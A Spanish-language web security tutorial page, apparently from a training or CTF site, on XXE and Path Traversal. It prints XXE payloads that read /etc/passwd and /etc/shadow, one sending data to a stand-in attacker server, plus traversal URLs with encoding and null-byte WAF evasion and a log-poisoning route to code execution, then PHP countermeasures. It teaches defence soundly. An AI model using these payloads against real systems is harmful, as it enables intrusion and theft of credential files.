← Volver al inicio
XXE Path Traversal LFI OWASP XML

XXE y Path Traversal

05/05/2022

Explotación de vulnerabilidades XXE (XML External Entities) y Path Traversal (Directory Traversal). Ambas vulnerabilidades abusan de la forma en que el servidor lee e interactúa con el sistema de archivos local y fuentes externas.

1. XXE — Entidades Externas XML

El estándar XML permite el uso de DTD (Document Type Definition) para definir la estructura del documento. Dentro del DTD, se pueden declarar Entidades Externas, que actúan como variables dinámicas que el parser XML rellena haciendo llamadas al sistema operativo (por ejemplo, leyendo un archivo o haciendo peticiones HTTP).

Payload clásico — Leer archivos locales

Si la aplicación web recibe XML (ej: en una API o subida de archivos SVG) y no tiene las entidades deshabilitadas, podemos obligarla a leer /etc/passwd y mostrarlo en la respuesta:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

XXE Out-of-Band (Blind XXE)

A veces, la aplicación parsea el XML pero no muestra el resultado en la pantalla (XXE Ciego). Para exfiltrar datos, usamos entidades paramétricas que envían el contenido del archivo a nuestro servidor atacante a través de la URL:

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/shadow">
  <!ENTITY % dtd SYSTEM "http://servidor-atacante.com/malicioso.dtd">
  %dtd;
]>

🔴 Laboratorio XXE

He creado un punto final de una API simulada que procesa comprobaciones de Stock mediante XML. El parser es vulnerable. Tu misión es inyectar una Entidad Externa (SYSTEM) para leer el archivo /etc/passwd.

>_ INICIAR RETO CTF 05

2. Path Traversal (Directory Traversal)

El Path Traversal permite a un atacante leer (y a veces escribir) archivos arbitrarios en el servidor web saltándose el directorio raíz permitido, utilizando la secuencia ../ (subir un nivel de directorio).

Evasión de filtros y Técnicas

Muchos WAFs bloquean el string literal ../. Los atacantes usan codificación para evadir estas defensas:

# Básico:
http://target.com/view?page=../../../../etc/passwd

# URL Encoding:
http://target.com/file?name=..%2F..%2F..%2Fetc%2Fpasswd

# Null Byte (útil en PHP < 5.3 para cortar extensiones forzadas):
http://target.com/file?name=../../../etc/passwd%00.jpg

De Path Traversal a Ejecución de Código (Log Poisoning)

Si podemos leer archivos locales, a menudo podemos leer los logs del servidor Apache (/var/log/apache2/access.log). Si inyectamos código PHP en nuestro User-Agent al hacer una petición normal y luego usamos Path Traversal para incluir ese log en la página web, el servidor ejecutará nuestro código PHP.

3. Contramedidas

<?php
/* CONTRAMEDIDA XXE */
// A partir de PHP 8, las entidades externas están deshabilitadas por defecto.
// Para versiones anteriores:
libxml_disable_entity_loader(true);

/* CONTRAMEDIDA PATH TRAVERSAL */
// 1. Evitar usar el input del usuario como nombre de archivo.
// 2. Si es necesario, usar realpath() y validar el directorio base:
$base_dir = '/var/www/archivos/';
$real_path = realpath($base_dir . $_GET['file']);

if ($real_path === false || strpos($real_path, $base_dir) !== 0) {
    die('Acceso denegado. Intento de evasión detectado.');
}
readfile($real_path);
?>